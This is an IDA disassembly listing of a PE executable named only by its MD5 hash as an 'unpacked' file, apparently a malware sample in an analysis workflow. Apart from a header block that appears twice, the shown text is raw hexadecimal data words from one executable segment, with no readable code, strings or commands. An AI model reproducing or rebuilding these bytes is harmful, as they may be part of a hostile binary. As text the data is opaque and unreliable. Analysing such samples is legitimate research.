;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	832B6A6540D49FDB3743DC049CE302EC

; File Name   :	u:\work\832b6a6540d49fdb3743dc049ce302ec_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0010F000 (1110016.)
; Section size in file		: 0010F000 (1110016.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 9C25E4A0h, 0FA794D3Ah, 0D2556E1Bh, 0C25F7FEFh, 0EC6370F7h
		dd 0CC7377E1h, 0C223D8CDh, 0F54559B4h, 0D135EA89h, 7C2D747Dh
		dd 3B404864h, 0FA325A68h, 0C230DFEAh, 0DC07A0DFh, 31A8C5FCh
		dd 193B7A51h, 38F50328h, 0F6CC195Fh, 138802FBh,	0C342A6CEh
		dd 0DC3CD5B3h, 7A319534h, 112FC33Dh, 8C0648E8h,	7CF05477h
		dd 432F9AD9h, 0C99D9FCDh, 0D4CD41FBh, 388FA128h, 0CBC733C2h
		dd 0DB4BC441h, 0C23C8030h, 7AC23965h, 102FC115h, 0E84C43EAh
		dd 0C1A754C7h, 40BE6BE1h, 0DDA3CC0Bh, 0C3F7A748h, 0FD07BBCDh
		dd 8175C6Eh, 0C6D4797Fh, 22C6EEE1h, 0DE2CE3C7h,	0D33169DFh
		dd 3883AD28h, 0CCC6F73Fh, 0DA2F3BA7h, 0D63CA264h, 512F7349h
		dd 92ADFD6Dh, 0BD705FAAh, 75EB67E1h, 2404EFCEh,	44FF017Bh
		dd 7219F92Ah, 1B432260h, 38C57E65h, 0D6286AF8h,	40E6FC9Ch
		dd 3031AB4Eh, 1A6C0328h, 0B4B77E3Eh, 0DADF7BCEh, 0B078C67h
		dd 7C16D6Ah, 0DF3EF8E3h, 0B8B83064h, 3EE225E1h,	250D6861h
		dd 441A3D4Ah, 1439157Ch, 20F373AAh, 53D6B7E1h, 0C994F8F4h
		dd 0C3625F54h, 25FF45D9h, 3C0DEFB2h, 2C707470h,	82C01524h
		dd 0C0D99FFBh, 27281B9Bh, 1AAF6128h, 1AC2BD8Eh,	0C5B5B4C9h
		dd 0DCB319E1h, 0E5155765h, 6E97E78h, 97BC4860h,	1D8566E1h
		dd 0C83CC182h, 0DB2F7C37h, 0D53BFC71h, 0AB5E616Fh, 0CCAD5029h
		dd 0DC26F5E1h, 0A36324A1h, 0E72FA75Ah, 133BC088h, 0CD834017h
		dd 306D12Ah, 0A31956FBh, 7505D3Fh, 0F1359799h, 13AD6D39h
		dd 7CCB01E1h, 52ACADEDh, 2AE1FD01h, 0B8712564h,	3885AE3Fh
		dd 75EA98DAh, 77A8E5D8h, 78F6E2C7h, 0DD8C544Ch,	0F3661C3h
		dd 8A165328h, 384A56C6h, 465D5761h, 5BC0A1C7h, 0C220BADFh
		dd 835B186h, 78E477C2h,	656C5E02h, 0C36BA65Ah, 0D602836Fh
		dd 6FE392A0h, 38966A30h, 43F468D0h, 0D76E503Ch,	0B13003A9h
		dd 62ED8160h, 3E4C4128h, 252FBE2Dh, 0B83B9096h,	67173328h
		dd 750F6590h, 0DA275307h, 2A3C4EDFh, 0E2FBFD0h,	1A54DD2Fh
		dd 0A2E9FD28h, 7C409D64h, 0C36135C9h, 5DE0ED02h, 45B0BC75h
		dd 0D9C71A39h, 0C3D19FF4h, 0DD79B48Bh, 20658C4h, 47F252D3h
		dd 3EA551C7h, 243158B0h, 7517ADD5h, 302FF97Eh, 38DC5CFFh
		dd 3E8536CBh, 7DAC92A2h, 1B323C60h, 3F141FFFh, 28E12EB5h
		dd 13FAA70Bh, 0A2003ECCh, 49317784h, 0B6E574D4h, 0C3B159F4h
		dd 0AAACEF95h, 1A49FC63h, 40BC743Eh, 67AD06F7h,	0C56667D2h
		dd 8B358FA7h, 507B6D3Fh, 7CE8CFE1h, 84AC47BBh, 3854E0B9h
		dd 1CC79359h, 208524CDh, 3BF689E1h, 0C2318385h,	0C551454Eh
		dd 8F3D9093h, 2AD770FEh, 0FEA6D50h, 0BB13ECD9h,	376A1E1h
		dd 0F2D475DDh, 5831C345h, 44DA7E4Ch, 0A12FEDAAh, 9292B9FBh
		dd 0C9DB746Ah, 7EA1A920h, 243B84A5h, 402FE0AEh,	384C77D1h
		dd 46B767F9h, 0A570BCEh, 5B363217h, 21EB5CBAh, 0C37FDFDFh
		dd 0A735DE2Bh, 0E217F97Bh, 4DE2B451h, 4C757893h, 2EC7D9C7h
		dd 0DDEEF2FBh, 0D68227D9h, 6F281773h, 0F6375269h, 418A56F4h
		dd 82F8ACE1h, 0C31801CDh, 7D2FAE8Dh, 80DAB0Bh, 2094DFCFh
		dd 0D58F6A79h, 48A6B2B6h, 7E76D4CDh, 240E3BF0h,	0C52838C5h
		dd 759974E7h, 0F95C5678h, 0D8D216FFh, 8DE025C2h, 0F8F56DEAh
		dd 5F2B6AC1h, 8CBE8FAAh, 5B1A9C7h, 2A28E56Ah, 0DAD0FECEh
		dd 3406E36Ah, 0AD68B68Bh, 0C3FF62F4h, 2B61E60Eh, 72C43D3h
		dd 2D97FD06h, 0C3C08B63h, 9B35778Bh, 0C7FFFC9Fh, 0D6EFD7Fh
		dd 0C3841060h, 55AD241Ch, 5EB0FC01h, 7AB5835Dh,	18E854C7h
		dd 7F2DC23Fh, 40DE47D9h, 1F310063h, 0AFE2C92Bh,	162AB5FBh
		dd 88D141E7h, 62C7B7Fh,	0DF9EF93Bh, 3584D00Bh, 0C363141Ch
		dd 243BEF31h, 42FA18Ah,	0E33BF688h, 9733C67Fh, 0D5D66A7Eh
		dd 0C5F4286Ah, 0C3AD3EA4h, 66A8F789h, 1B8D5F99h, 880F836h
		dd 85CB6AFFh, 3BAC4FC2h, 0D635F24Bh, 8236105Ch,	18F2778Bh
		dd 0B46F4FFh, 0CC93748Ch, 70043060h, 2F2CD277h,	5B7F97Ah
		dd 0B8F47BD9h, 45A0A83Ch, 0D41B7277h, 45045E9Ah, 730580CDh
		dd 0C9B68BBCh, 2EC037B1h, 0B42FF0B2h, 0BE7882EDh, 3803BD3Fh
		dd 75076072h, 0C83CFB63h, 0BCBA044h, 813BC1C4h,	0B5BD436Ah
		dd 0D130B5FBh, 0FC62EC2Dh, 59A8BC26h, 3B34566Ch, 0F6C7AE3Eh
		dd 2CB123C7h, 90E0D4E1h, 6E17F509h, 0FA916DDFh,	24696A1Eh
		dd 0F1BC79A8h, 73B50627h, 0C5875682h, 8B08D9F7h, 2F68BA24h
		dd 0CAC7CFD9h, 0DC6E00E1h, 0DAFBD5CDh, 0F915AF31h, 48157ED5h
		dd 0DAF86A7Eh, 6EC002F3h, 240247CEh, 0CF178083h, 94377420h
		dd 0D309E527h, 0D7D33CF7h, 0C5CE9728h, 8D3CB67Dh, 1B51799Ch
		dd 940D7567h, 0C366BEF4h, 0C5ACADBAh, 1C28FDDBh, 0F15351A8h
		dd 386A4728h, 0ECEDA4E3h, 75DB4508h, 0C3AD1367h, 18AD1737h
		dd 2E3BFC8Ch, 0DD469F4Dh, 0C554514Bh, 176F74C6h, 6CE9B3FFh
		dd 0AD68BF28h, 46E37D4Ah, 43227764h, 0DF31ECC3h, 0FCF4E83Fh
		dd 0C15B7Ah, 0F6067CC7h, 25A49728h, 2D2FEF7Dh, 180DFDDEh
		dd 0D574ED91h, 7CC07E5Bh, 7C6F63FBh, 20AD0B5Fh,	0D993F921h
		dd 9C9597E1h, 4AFDD8E4h, 5BFEF414h, 112FF9FCh, 556D5197h
		dd 7AEC61EBh, 3017A0ADh, 899C3DE6h, 73BF697h, 71EF54CFh
		dd 5B624864h, 7E7C3478h, 25282A60h, 0E50DA775h,	0F015551Eh
		dd 453C7E6Ch, 0D5675C7Ah, 0C4075B23h, 0BB358267h, 9631F88Bh
		dd 4B3E4B96h, 3381F9C4h, 8EB565CDh, 0ADB5DEFEh,	0C9B2906Ah
		dd 507D640Fh, 79B3746Eh, 0F2C67E64h, 31DD5860h,	2A5EE0A4h
		dd 0C12F02D9h, 0A7EC8CFFh, 0C943A698h, 0FD0C0A8Dh, 5B91F9E4h
		dd 73C7E541h, 0DCE74EE1h, 9FFE929Fh, 3898E524h,	0A09622F2h
		dd 40F157E4h, 2CF81BF3h, 1BA80578h, 0AD6A659Dh,	89FD79D3h
		dd 3E8471E1h, 42ADB86Dh, 683DD2DEh, 21644BB0h, 40AF746Fh
		dd 0C3D2D3F4h, 316F0A4Fh, 0AFE7F350h, 95316316h, 0DAA94000h
		dd 0B0D72CEDh, 0F6AD3611h, 0C6F4E459h, 9A408672h, 0A36E8ADEh
		dd 68218126h, 78B4C764h, 0DCE33E26h, 0D53B6ECAh, 0A3067D7Fh
		dd 9AD3673Ch, 78AE6720h, 0ECEEEF33h, 0D5577207h, 0C40EFBF6h
		dd 5ACF357h, 87B6CDF8h,	496E717Fh, 0CE314860h, 95C6F5FBh
		dd 0DB5D2EE1h, 3E0CB3FAh, 0C0EA4D9Fh, 17C35E2Ah, 3D4667E1h
		dd 0CCADD812h, 72C7A12Eh, 7ADAB73Eh, 46877CC5h,	0C2358C58h
		dd 0D3D27EDh, 75115C2Ah, 55ED4564h, 0DE5B2A3Ch,	54070EFBh
		dd 0DCF8B5C3h, 0DDE7A605h, 0C23CE00Eh, 5F0E1D83h, 1A323FA0h
		dd 189AFEFCh, 0F109FC67h, 0CDAF61FFh, 8D042BADh, 683573D3h
		dd 8145D2Fh, 79CA1E24h,	734753Ah, 4EE85C13h, 7F08D2E4h
		dd 61AC018Eh, 0E9CFAB6h, 3FC7B5F8h, 0C830E8E2h,	488467D7h
		dd 4DBB8159h, 0C8CDEF26h, 64A1107Bh, 88F429Bh, 7BD267FBh
		dd 0C3C864DEh, 5B7A8FF0h, 5AE3597Ch, 0BCB9404Eh, 97E0DCB9h
		dd 2BB6A079h, 39013C22h, 9B166A07h, 187B7030h, 214E6682h
		dd 259130CEh, 122FFE8Ch, 27A27791h, 7AB624FEh, 0CC075CF0h
		dd 53B7B55h, 903D3D03h,	0F4C7E75h, 0B9013664h, 0C21EABD9h
		dd 0D7A77CDFh, 0D6355678h, 7C9E74E9h, 5EC1AE64h, 0D7B11560h
		dd 3E6441C1h, 45AC7B7Ah, 0C968F917h, 0A7E152FBh, 4037238Fh
		dd 0EF067208h, 1627BF22h, 0CB8EDF81h, 0B86F64F7h, 362FF325h
		dd 171EA4CFh, 0D24000FEh, 79F65CEh, 5EE9BF41h, 0DE857D0Dh
		dd 0C9967973h, 76FAAF45h, 0E389FD3Eh, 44CC5FA1h, 0BE6CB641h
		dd 0DC067BE1h, 61E0EC32h
		dd 0E7E0F908h, 4E5E416Fh, 0C951702Ah, 0C3F985DFh, 0D7B02EE1h
		dd 2436F41Ah, 0B33BFD13h, 3A3FD62h, 0CCFEE778h,	2F314253h
		dd 6A283F1Fh, 588A439Bh, 2DE1CFA7h, 13B3C08Bh, 0D246675Dh
		dd 89EA6E16h, 35A44128h, 0C3928E2Ah, 4DE53CEh, 598568Fh
		dd 0B906B5F9h, 0AB8657CBh, 3F0797E3h, 2A2F5D09h, 5AFAAD36h
		dd 3C2F6C68h, 16039D78h, 0C7EFD6Eh, 1C2179A1h, 0D6E6349Bh
		dd 0C9A870C1h, 0E42F4BCAh, 933B890Eh, 0B25361B7h, 5A1714FFh
		dd 3FDF98CAh, 0DBB07D74h, 2FFA5D07h, 0DA738CCEh, 16066458h
		dd 15DE57E0h, 40B490E1h, 0C36EFF1Ch, 0A930A171h, 161574D5h
		dd 0C36489F7h, 0C5C65765h, 30357DAEh, 0DAFC6078h, 0DA5B663Bh
		dd 0CC064212h, 0E4E059A8h, 0DD106ACEh, 28B4FA6h, 0D4A3415Bh
		dd 977F4176h, 0D75AC32Ah, 0C98664DFh, 0AE36E400h, 0AFB05B6h
		dd 28297628h, 0C2106D2Ah, 0D7ED16DFh, 5C36B2F2h, 8B0642B6h
		dd 0D9EB5CD3h, 0CDED744Ch, 3717B4DBh, 43AD41C6h, 0E49243CFh
		dd 3E95BBFBh, 0C3A9D911h, 0CBEF4221h, 0F031BC4Eh, 820C7F2Fh
		dd 0DA974275h, 43565B2Eh, 255BCCCEh, 561776B8h,	445E7725h
		dd 55854071h, 0C9B67C3Ch, 0BE5434E1h, 3154BC33h, 4E485C0Bh
		dd 0AC662F3h, 5000FDBEh, 3C8C46BFh, 0D83086CEh,	0DD6C6732h
		dd 0DB0F1E3Eh, 27D623C2h, 8EEE79AAh, 1271B5D9h,	1398A0FCh
		dd 0BEE73DC1h, 58C58828h, 54C8B76Eh, 0F78172C3h, 51FB7EDEh
		dd 0DDBC6F7Fh, 0EE977436h, 0C97B7BF4h, 0E8ACBF47h, 0A6283FEDh
		dd 3A8F217Fh, 21A68014h, 0B206664Ch, 58826135h,	0F8B317A9h
		dd 4A5F6964h, 9A95E155h, 38B9EB28h, 6B84ED1Dh, 16ADEFC9h
		dd 6C35F9C7h, 0D8D06036h, 2B89AA46h, 0CC102FFFh, 372F474Bh
		dd 0C3FF432Fh, 0C416E3FFh, 3FACB75Fh, 1FA89530h, 1B76704Eh
		dd 0D749F86Ah, 0CFFC86F4h, 0BEFDB6FBh, 0C2384BD9h, 3BB62C26h
		dd 0DDA87738h, 0DD31BCEDh, 4DF1F928h, 1CA47D1Ah, 0D7638E60h
		dd 0C38EA15Ah, 0CB16CCFFh, 4A84CAF0h, 1086C77Eh, 39B9F92Ah
		dd 49B61DCDh, 0C3AC96E0h, 1C1B41D2h, 38C0AD28h,	3C13A1Ah
		dd 0F8910F25h, 0C3DCA3BBh, 0F36C640Ch, 7931F739h, 3885DE58h
		dd 2DE0D97Ch, 0DD6BA765h, 40007F8Eh, 3B1D20A4h,	76C23615h
		dd 8DACEBE1h, 7D1AEB27h, 489D5CD8h, 5D025C8Dh, 0BCC1476Ch
		dd 218075C8h, 31B11E11h, 5A1382Ah, 1F28BCFDh, 82BF127Ch
		dd 0FCD9B7E1h, 4CB38003h, 44603CCFh, 0D59A5C7Ah, 0CAB25CC6h
		dd 72E10EA8h, 9D043F3Dh, 0D4117DE6h, 4ADCC564h,	0EE806401h
		dd 6431F347h, 0EC0931CFh, 0D7AB12F9h, 7B340730h, 8CEF9F33h
		dd 0C303C7Ch, 7D3A9B64h, 0C20A4AA9h, 17E6B7B8h,	376E6639h
		dd 32217EC8h, 0DF1EF529h, 0D5341EE1h, 0C406FBBAh, 118569Ch
		dd 5E76E231h, 2A6D67CEh, 0BF3BFE33h, 0AA066908h, 0F69A6693h
		dd 0D7DFCCDFh, 26358A18h, 7D3E742Ah, 0CAE610FFh, 2F22F6Ch
		dd 8E42BE91h, 78757D0Dh, 0EC06C97Eh, 4AB5F795h,	9003EACEh
		dd 616D2C4Eh, 0D8D5E6CEh, 0CC16CF82h, 7B2F77C7h, 263DEBD7h
		dd 6AAE5C18h, 31C16EEAh, 0DB7987C7h, 0C80250D1h, 45E1C40Ah
		dd 0C56844E7h, 3C1D521Eh, 0D2BE87FFh, 1A2F9E33h, 2A0D621Ch
		dd 2E7A7D24h, 1C8D65A7h, 42571142h, 0E736852Eh,	2A61537Fh
		dd 36846C7Dh, 2141ECDh,	0D16E2342h, 0C57DA77Fh,	7E0E05A0h
		dd 90E67952h, 679D68FBh, 0B763DF5h, 0C9B3E8C9h,	0DC06F4D2h
		dd 0FB31F736h, 46EBCDC9h, 0FC9E54CDh, 0CA8B93B9h, 0A5AAF3Ch
		dd 493E3721h, 6DA57EF0h, 458874C5h, 0C365C2F4h,	61ADC63Eh
		dd 7F3DE1CEh, 0DAD7705Eh, 0AF5A6C37h, 781DACFBh, 0DE3E81FFh
		dd 4D10E76Dh, 0BB1670Ah, 40ECB561h, 0C36F6711h,	5591F56Ah
		dd 0B32FC123h, 0C4C3BFB0h, 0F74CA77Ch, 8CBBD1FBh, 0A2FE00Eh
		dd 0AEDA675Fh, 0EE6E2CCBh, 4E216BEh, 0A5AE759Dh, 69717DD2h
		dd 0BFA6E575h, 1625EDA0h, 0F7CE8513h, 3BD5C304h, 55D4A08Ch
		dd 7D78B567h, 743524CBh, 0F8C5A480h, 0D8E0C2E0h, 42277825h
		dd 0D4D0C668h, 18C0FCCDh, 79E58DF5h, 7525CFACh,	403191D9h
		dd 7A34E678h, 0F918DAAEh, 43E5A160h, 683F51EEh,	9AD6B29Eh
		dd 41F37504h, 0C300B9E5h, 0F6332A84h, 0D94868A4h, 37395428h
		dd 0F4E8BFA5h, 9A271DD2h, 0B50451A4h, 0F514C3FCh, 98365784h
		dd 0C0FBFDC3h, 9ADF3DC4h, 0D4D452DEh, 435256E9h, 609089EFh
		dd 1D10A6Bh, 9B4C49FCh,	15F4252Ch, 0FFF723Ch, 0CF29FA3Fh
		dd 42000C84h, 9E0AE2A4h, 6FB16293h, 8A34403Ch, 0E37A388h
		dd 14CBC0Ch, 3906C1B0h,	358A0B6Fh, 438F976Ah, 4160B958h
		dd 0A54B115h, 9F0F3A94h, 0F2ACD5B8h, 6DAF04E4h,	4DA4FB01h
		dd 3E8E29F4h, 0DC2569D0h, 0C4357D84h, 0C47635E0h, 4204299Ah
		dd 0D3CCAE60h, 16FBC354h, 0C1E7B87Ch, 0C8C8C1FFh, 7F25F4A9h
		dd 434485A0h, 3B677C2Fh, 0B055317Ch, 54D1472Ch,	72AFB33Fh
		dd 0D8D0609Fh, 92657DD8h, 0FDEAF8E5h, 784F786Eh, 0FCB6B7E4h
		dd 9F0484FCh, 0D5A91E93h, 0B933EE62h, 225F5DBCh, 98E37483h
		dd 5C79693Ch, 432558FCh, 0A69A44Fh, 0DD1F93FCh,	3E34C85Ch
		dd 9F217CADh, 0F52CA743h, 3B4C03DCh, 47F56673h,	0BCB51DE5h
		dd 9F2D2476h, 46477913h, 5C9E56Fh, 0CF2759FCh, 114C64E6h
		dd 0C36D907Fh, 443524E4h, 7B2F3752h, 0FFAC75D3h, 9F29C4E8h
		dd 46F479C3h, 0D14C7BFCh, 0C740EFA4h, 0C4EC0568h, 0FF171A8Eh
		dd 23E71CECh, 0F93554EBh, 0C52E84CFh, 5D05F7Fh,	0B00477ECh
		dd 0F70576D7h, 432275F9h, 0F4E6710Eh, 6AEB75C8h, 0DB2447FBh
		dd 0CED6EDFCh, 0C700052Eh, 3533968Fh, 0DD3467ECh, 93E557E5h
		dd 6A34B713h, 0F7056CD7h, 2D9875FEh, 0C42464F6h, 0CF2C00FCh
		dd 7C24F5F1h, 0D338BBFCh, 0C4AD057Ch, 47396975h, 9734FCECh
		dd 0F4B46BF0h, 0FC0D7564h, 0F73BBD60h, 46D67528h, 65246524h
		dd 0C49FB668h, 0D52464C8h, 0FD2066FCh, 0F73567FEh, 4AE966FCh
		dd 0C72474C9h, 3C9DF3C9h, 963441ECh, 0F701BD62h, 390C7528h
		dd 0F70261E1h, 65E375CEh, 8634622Dh, 9DBBFCB3h,	3C9BC76Bh
		dd 0DD4638FCh, 0F228D584h, 9F0E7562h, 0C30DC14Dh, 474C5E0Ch
		dd 0FCF3426Ah, 18A41DC0h, 9F09956Bh, 0ABE3831Dh, 174C5BE4h
		dd 27D52408h, 0DBA2B584h, 272078FDh, 30164584h,	3B4C54D4h
		dd 78CF66DDh, 25041DDEh, 9F174D77h, 0BE077A29h,	0DC7A5178h
		dd 0E9E374B0h, 0E74C50E4h, 272A660Eh, 97E01DDAh, 2FB6B4C9h
		dd 0DA3405FFh, 9F1C876Dh, 49432F6h, 9F1D873Fh, 0C634E7E6h
		dd 9F1E55F9h, 0FC730FCFh, 33657035h, 56291E84h,	332C722Ah
		dd 43BC2E84h, 0BE2CDEE8h, 3B74A6AFh, 0F8E25D61h, 5730E441h
		dd 0C46086F5h, 54BE57CBh, 0ED045893h, 0DCD25C8Fh, 0D9AA09DCh
		dd 0DA307022h, 0DC720CCCh, 0E4343B61h, 0F7A60644h, 1EF697CAh
		dd 55653F4Bh, 0F8663DAFh, 4867E1C8h, 0A0032ACh,	8FD6AD1Ah
		dd 483AB768h, 4534A6A6h, 991F9D9h, 12B7AF91h, 0F70AF691h
		dd 7A0084BFh, 2BE72BFCh, 9C2E04CFh, 0BEC0F9B8h,	8D7932C5h
		dd 81DB68DAh, 17A53D65h, 0F4CBDDFEh, 0C83533CFh, 0EBB2328Eh
		dd 7CF19524h, 0D57292F7h, 3C35218Bh, 0C4A7305Eh, 0DCD5F762h
		dd 0C4ECC02Bh, 9F2727B1h, 654E785Bh, 3C8140C4h,	544898FCh
		dd 4103817Bh, 80C715Ah,	2C76756Bh, 69E21DEAh, 274135CDh
		dd 12BD618Ch, 0FD638EFFh, 0F672BE4h, 0AAA1EAB1h, 5A9A8CB1h
		dd 797B2E35h, 0F6DD2E7Eh, 0D10C126Eh, 417F9768h, 310763D2h
		dd 0E6BC30Bh, 44E4959Ah
		dd 3AECC88Ch, 0E0A7E514h, 0EF17B28h, 50389F35h,	7F2D68E8h
		dd 293BF83Dh, 0EBF407E6h, 8D611DEAh, 0CC773E86h, 7C6C7392h
		dd 1A76A9C8h, 12F82D8Ch, 0ADF5B56Ch, 0BEE0A41Ch, 3718EC8h
		dd 0F2E03A36h, 55D8FCCAh, 8A661D34h, 0C3B36559h, 52120649h
		dd 142CE2E2h, 0D8F0DEFEh, 9CF60526h, 20F7DC1Fh,	38A004F0h
		dd 7E4EB563h, 8A983B7Ah, 410C6739h, 8594643Ch, 0C8397173h
		dd 8BA07A71h, 2EBDA3EFh, 431712Eh, 70E86384h, 0D5264762h
		dd 4EA9602Fh, 0AF51C4Eh, 8878B97Ch, 42C0F465h, 5097F7EBh
		dd 0CA355CE9h, 0C2E2F79Dh, 67D2D84h, 0FB6C5DFFh, 1373162Eh
		dd 749E445h, 0CE46BB58h, 0FEB200DEh, 4C2E2120h,	0E28535F7h
		dd 0D27CFD8Fh, 5A2C01CFh, 0C0A1A6BAh, 71AB6FAh,	6B74C36Bh
		dd 5C0D7372h, 0E085E3E3h, 2DAE43FCh, 0FF222C72h, 4930813Bh
		dd 95487E1Fh, 0DC34319Ch, 0CA36BB14h, 372C81D9h, 552917FFh
		dd 6546C46h, 8FE722E4h,	0FEB455C9h, 0E4CB0664h,	0AB8EA9Eh
		dd 5C2A6C83h, 5AE07576h, 0C41B1FDEh, 0D4EEB773h, 0AC2C02D7h
		dd 0C44F3039h, 89678FDh, 9300BF70h, 0FD4230BDh,	9935F326h
		dd 0A064B08h, 0FCE6BF72h, 9EA49ACEh, 0C5A37877h, 45B6E7E6h
		dd 27000126h, 3A78E3E9h, 442F64D6h, 352E3DF0h, 1BD830C5h
		dd 0BAE7294Fh, 3D006ABEh, 0CC4288BDh, 3A7E83E4h, 8E6771D6h
		dd 0C72F2724h, 9283308Dh, 72AE9E29h, 0CC269424h, 8F2C9337h
		dd 73F781D6h, 3B283D24h, 0D57CB575h, 2F1720D3h,	86F3CF24h
		dd 0DB29617Ch, 0C4B67172h, 9706CBD8h, 890F7526h, 0C0E0A971h
		dd 4CBE42CEh, 9707C117h, 6C762764h, 4E903B06h, 95FCC906h
		dd 0C034FBBBh, 25700868h, 0DC2F788Fh, 0D460BF74h, 89313735h
		dd 0C0EC8220h, 905E8E3Dh, 8401A847h, 5002CF3h, 23F05D37h
		dd 382A8D64h, 43C5666Ch, 3E0872A3h, 582BACB1h, 43C50270h
		dd 0F8B083A3h, 0A0509DE4h, 955F939Eh, 0A3F2FD23h, 0C73443B7h
		dd 0C1225C06h, 0A569D384h, 37516538h, 0DF4C8A7h, 810B7CB8h
		dd 0A7344800h, 0E71BFCECh, 1104E8E4h, 83AA6422h, 320779FFh
		dd 2EEE93FFh, 0AF24A3EAh, 0C4C6BBB9h, 0DD662795h, 0F9AC0286h
		dd 2A21B367h, 39F8B0A0h, 17F4013Ah, 0C86A832h, 0F490A74Dh
		dd 34913335h, 0AA7CC13Bh, 0BD1256Ch, 0BBF2BE3Bh, 0D236F517h
		dd 0F754FC35h, 22CA6163h, 53076099h, 42E42490h,	1DDA06E4h
		dd 0EF000C6Ch, 0D62793BDh, 2211E3Bh, 0F427702Ah, 243D2CD9h
		dd 78FBF16Ah, 0C3D05DACh, 30F6266Ah, 0C83B1DC6h, 6A00F02Ah
		dd 9F088284h, 1F28841Fh, 4CE063E8h, 6229EBA2h, 9F257D52h
		dd 7A0B6C0Fh, 0A31001ACh, 8FF4BE2Bh, 9C73808Bh,	0B914C0F0h
		dd 9F2560CCh, 967CB8BEh, 430743A0h, 820D5644h, 5EE061A3h
		dd 0A959355Eh, 0BF466879h, 0CD85ACDEh, 0BBCC44E7h, 0FBEC302Fh
		dd 0A00AB450h, 1B847912h, 53E2CE21h, 0D7760406h, 5DB8FFA4h
		dd 984C7C58h, 0B9DA9C27h, 65BEE43Ch, 154C0668h,	0C0B8FD1Fh
		dd 829D5F84h, 4B81B408h, 0CA62FEC7h, 7CA96052h,	914D1BA4h
		dd 53DE3934h, 0A58EEDBAh, 0DD3872DBh, 2D254070h, 3AA175A4h
		dd 38C52042h, 288E7EFh,	0D1EABF20h, 61AADDFDh, 0D551D539h
		dd 27313780h, 2F9467Ch,	8722E8CFh, 0FCE2BFFBh, 0AFE5DDA7h
		dd 0CCB165C5h, 42279E7Eh, 0D880FFA0h, 0EEE54540h, 0AD61C6A6h
		dd 0C44C895Ah, 0DB8530A5h, 0AA260118h, 25271EEFh, 2892F6B1h
		dd 7B6E1F4Ah, 80342997h, 0A7A4D4Fh, 2858F3FEh, 631D773Eh
		dd 0A36A2FA2h, 0F9B4F59Ah, 0C56EF06Bh, 0C794BD3Ch, 9F0DC678h
		dd 782CBE58h, 0FCF0AC1Eh, 0CB05FC3Eh, 7B22C4C0h, 536B40CEh
		dd 579655Ah, 0CFE0BBE8h, 7CC3ED04h, 0D9A6186Bh,	7FF283FBh
		dd 2A01B526h, 2F3CB5FDh, 7571B4F1h, 0D985851h, 5CEAC1Fh
		dd 9CBB7946h, 54105922h, 8496268h, 23B7692Dh, 0CF0DA6BBh
		dd 0D84C7DD4h, 0E49D3297h, 0E9B63CEFh, 47827176h, 48727C04h
		dd 6B6EC2F8h, 33C37F06h, 3F1438C6h, 0A5B77536h,	0C02B6670h
		dd 81711DE7h, 0C2AD78C9h, 38F1F564h, 42DB2836h,	0C56CDE2Eh
		dd 40C29A7Bh, 0BDAE6471h, 0E0BCEDD6h, 8F84761Bh, 0BC9E6512h
		dd 9CF275E6h, 1A5E7ABh,	0C548161Bh, 5029627Fh, 777E3F7Ch
		dd 432B63F8h, 0B4F8234h, 22E540F0h, 69F2F769h, 7B931DE5h
		dd 0F2221ED1h, 0B09599B9h, 0D01DA891h, 0B8A5AE5Ch, 0B52B8509h
		dd 0D48681E4h, 0FF2E542h, 0AD5D7361h, 0A8316456h, 68607DA7h
		dd 46C4748Fh, 0C600F12h, 2C7766A5h, 0D8D5A12Bh,	7F05475Ch
		dd 85A146A7h, 2ACB82FEh, 0BAFA0627h, 0DE2C80E8h, 2E221C3Ah
		dd 1103970Fh, 0CFAE65DCh, 25209C65h, 0F36C72BAh, 9F005F22h
		dd 74A3C88Bh, 345E66D4h, 0ACB7B2ABh, 0C00D4148h, 0EF64F37Ch
		dd 0DE67B37Bh, 0BB05E8E4h, 0DF6810E4h, 865204DCh, 0C3293A4Ah
		dd 350EBD61h, 5A350DEFh, 0FE524405h, 31617521h,	0C6FE8248h
		dd 8F2417A9h, 958873B9h, 0D5AB1CB5h, 0B50FC944h, 6E654EE8h
		dd 9C46CCFFh, 1974C1FCh, 0D025E6D0h, 1125D50Dh,	0DC4D95D7h
		dd 2EA637C7h, 0A3218EF1h, 0FC26277Ch, 70DE562Ah, 41A08466h
		dd 47698B02h, 9F2DF213h, 16433ED2h, 306245C8h, 822B570Bh
		dd 0BF3D8107h, 0FA474534h, 0CDA27867h, 47B7FB66h, 3513B521h
		dd 4FC5B41Bh, 9C25C1D7h, 1509997Ch, 0D5299E3Eh,	3DB53E9Bh
		dd 0A4A0C395h, 39C5406Bh, 31A3FFF6h, 0C226E4D4h, 9A30C0BAh
		dd 74E1BC74h, 0BDF4477Eh, 65610E01h, 1BCB3C17h,	0D9D78D6Ah
		dd 82F9E492h, 0EF16E24Bh, 70BC3CEFh, 98666B23h,	0B8655899h
		dd 45309D86h, 12AFC35Ah, 0F8071BB8h, 6385DA0h, 6726FC6Ch
		dd 7E983BDDh, 0A9344DF5h, 2832E13Dh, 9F10E0CCh,	0AD7645FAh
		dd 2B85740Ch, 4898FBACh, 7994BD53h, 0C588160Ch,	5377849h
		dd 0EEE1033Ch, 0DC487CB1h, 0F4286E0Ch, 87222669h, 70EA5F5h
		dd 3568A355h, 1EEE7C28h, 395805E4h, 14A2AE8Dh, 78DB122h
		dd 886E7DD9h, 4B0646C1h, 3DB5F280h, 0DA589D67h,	0F6B4EEh
		dd 0BA555124h, 9D765DD0h, 0B3272BC7h, 7535717Bh, 4C602784h
		dd 5863548Ch, 0F4BFF2FFh, 0C32D5C24h, 0C2C7087h, 7875CB7Dh
